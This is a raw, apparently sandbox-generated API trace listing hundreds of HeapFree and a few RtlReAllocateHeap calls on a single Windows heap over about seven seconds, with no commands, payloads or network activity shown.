	[0168.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.045] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.045] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.046] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.046] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.046] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.049] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4455ff0 | out: hHeap=0x610000) returned 1
	[0168.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4455ff0 | out: hHeap=0x610000) returned 1
	[0168.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.055] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4455ff0 | out: hHeap=0x610000) returned 1
	[0168.055] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.056] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.056] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4455ff0 | out: hHeap=0x610000) returned 1
	[0168.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.670] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x448afa0 | out: hHeap=0x610000) returned 1
	[0168.670] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.673] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.674] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.683] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0168.683] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.683] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.683] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445fe8 | out: hHeap=0x610000) returned 1
	[0168.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.694] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.694] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.695] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.701] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.701] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.702] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.702] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.706] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.707] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.707] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445f50 | out: hHeap=0x610000) returned 1
	[0168.707] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.903] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0168.909] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0168.910] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0168.911] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0168.917] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0168.917] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0168.919] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.023] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.025] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.027] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.029] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0169.030] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.030] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.032] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.246] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0169.246] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0169.247] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0169.249] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0169.252] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0169.258] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0169.263] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b938 | out: hHeap=0x610000) returned 1
	[0169.548] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44378b8, Size=0x4000) returned 0x446b940
	[0169.552] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x446b940, Size=0x8000) returned 0x446b940
	[0169.557] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x446b940, Size=0x10000) returned 0x44cafc0
	[0169.791] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44cafc0, Size=0x20000) returned 0x44effe8
	[0169.819] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44effe8, Size=0x40000) returned 0x450fff0
	[0169.887] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0170.248] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0170.248] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0170.248] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b938 | out: hHeap=0x610000) returned 1
	[0170.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.511] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.513] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.513] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0170.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0170.521] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0171.540] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0171.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0171.711] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0171.712] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0171.712] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0171.715] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0171.715] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0171.716] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0171.718] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0171.727] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0172.026] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0172.030] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0172.086] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0172.087] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0172.087] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0172.087] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0172.089] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0172.394] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.546] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.555] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.557] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.560] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.564] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0172.991] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.344] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.345] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.347] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.349] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.352] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.353] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.355] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.356] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.360] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.363] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.365] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.372] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.617] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.618] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.620] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.621] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.625] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.626] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.628] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.629] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.631] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.633] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.778] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.792] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.807] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.814] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.829] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.832] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0173.836] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0174.011] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0174.011] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0174.011] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.227] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0174.235] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.238] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.241] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.244] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.246] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.412] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.413] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.415] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.416] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.423] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.428] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.431] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.433] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.439] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.442] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.444] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.447] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.450] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.453] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.510] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.512] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.513] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.515] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.517] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.537] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.543] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.547] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.686] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.688] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.691] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.692] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.694] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.694] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0174.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.804] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.807] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.814] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.818] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.821] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.827] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.828] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.992] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.995] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0174.998] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.001] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.004] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.006] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.009] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.177] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.180] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.184] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.188] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.194] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.198] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.205] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.208] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.214] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.340] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.342] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.344] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.347] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.349] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
